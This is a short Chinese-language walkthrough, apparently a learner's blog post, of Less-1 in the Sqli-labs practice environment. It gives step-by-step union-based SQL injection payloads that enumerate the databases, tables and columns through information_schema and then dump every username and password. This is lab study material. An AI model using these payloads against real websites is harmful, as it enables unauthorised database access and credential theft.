最近学习了SQL注入,找了Sqli-labs来练习一下。
Less-1
原页面:
1、题目中参数为id,尝试?id=1
2、尝试单引号注入?id=1'
发现单引号没有被过滤
这个提示为 ' ' 1' ' LIMIT 0,1 '
注意这个地方是这样看的(按上述颜色,黄色的引号不是数据库查询里的,第一次没看懂QAQ)
3、尝试?id=1' #
这里有个坑,输入#不是把之后注释掉,要用%23 ,目前不知道原因,应该是版本问题。
?id=1' %23
4、使用union select 1,2,3 查询列数,发现是3列,其他会有提示说列数不对
5、这里将加上and 1=2,因为使用id=1'始终为真,导致密码和账号始终回显的是Dumb,查询的内容无法显示。
现在可以显示了。
6、查询数据库名 select 1,2,group_concat(schema_name) from information_schema.schemata
7、明显是security,这里查询该数据库中的数据库表名 select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
8、查看users表中的列名 select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
9、把所有用户名密码统计出来 select 1,group_concat(username,':',password) from users
Hack成功!
Hacked By Zhuoqian !
Who am I ?
I am Zhuoqian .